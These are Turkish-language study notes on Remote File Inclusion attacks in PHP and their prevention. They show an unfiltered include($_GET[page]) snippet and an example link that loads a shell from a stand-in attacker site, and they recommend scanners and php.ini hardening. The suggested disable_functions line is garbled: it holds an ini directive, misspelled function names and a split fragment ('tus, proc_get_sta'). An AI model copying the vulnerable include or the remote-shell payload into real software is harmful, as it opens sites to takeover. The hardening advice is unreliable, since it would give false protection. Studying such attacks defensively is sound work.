ÖN BİLGİ

Bir makale internetten bulunup şu adreste yedeklenmiştir.

- https://www.includekarabuk.com/kitaplik/indirmeDeposu/Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/RFI%20Sald%C4%B1r%C4%B1s%C4%B1%20ve%20Engelleme%20Y%C3%B6ntemi.pdf

Bu belge ise yedeklenen bu makaleye çalışılarak elde edilen notlarımı kapsamaktadır. Bu çıkarılan notlar belgemde alıntılar ve/veya kişisel ilavelerim mevcuttur.

RFI Saldırısından Korunma Yöntemi

Aşağıdakini kodlamış bir web geliştiricisi

```
<a href=index.php?page=file1.php>Files</a>
<?php
        $page = $_GET[page];
        include($page);
?>
```

page parametresinin değerini kendi koyduğu için php kodlamasında bu parametreyi çekerken aldığı değeri filtreleme gereği duymaz. Fakat saldırgan Firebug gibi bir araçla <a> tag'ının içerdiği linkin parametre değerini kendi sitesi yaparak bir shell görüntülemesi yaptırtabilir. Mesela;

```
<a href=index.php?page=www.saldirganinsitesi.com/shell.php>Files</a>
<?php
        $page = $_GET[page];
        include($page);
?>
```

RFI Saldırısından Korunma Yöntemi

Sitenizde RFI açığı var mı taramasını bazı script'ler ile otomatikmen yapabilirsiniz. Bunlardan biri bir Perl script'i olan rfiscanner.pl dir. Bu tür taramayı pixy adlı program da yapabilmektedir. Taramalar sonucu sitedeki açıkları geliştirici kapattıktan(parametre değerleri filtreledikten) sonra yapması gereken önlemlerden biri de sunucu ayarlarını düzenlemektir. Bu ayarlar dosya izinlerini değiştirmek ve php.ini dosyasındaki bazı parametrelerin değerlerini düzenlemektir.

Eğer sunucu üzerinde yönetici haklarına sahipseniz /etc/ dizininde bulunan php.ini dosyasında yapacağınız değişikliği sunucuda barınan tüm web sitelerine uygulamış olursunuz. Eğer sunucu üzerinde yönetici haklarına sahip bir hesabınız yoksa php.ini'ye ulaşamazsınız. Fakat kendi sitenizin kök dizininde kendi php.ini dosyanızı oluşturabilirsiniz.

Php.ini ile kullanılmayacak bazı tehlikeli PHP fonksiyonları disable edilir. Böylece shell yüklense bile çalışmayacaktır.

Yapılacak adımlar şunlardır:

NOT: Aşağıda anlatılanlar sistem ile ilgili değişikliklere neden olacağı için bazı web sayfaları üzerinde çalışan script'lerin çalışamaz hale gelmesine neden olabilir.

a) İzinler sistemdeki klasörler için 755 olarak dosyalar için ise 644 olarak ayarlanmalıdır.

b) php.ini dosyasındaki disable_functions satırını bulup değer olarak aşağıdaki komutlar girilmelidir:

disable_functions = allow_url_fopen, execute, shellexec, exec, system, passthru, proc_close, popen, tus, proc_get_sta, proc_nice, proc_open

Böylece sitenize shell dosyası yüklense bile çalışmayacaktır.

c) Devamı biraz detay olduğu için not alınmadı. Devamını "*Tez Raporu/Literatür Taraması/İncelenmiş Makaleler/*" dizinindeki *RFI Saldırısı ve Engelleme Yöntemi.pdf* dosyasının 5.sayfasından itibaren okuyabilirsin.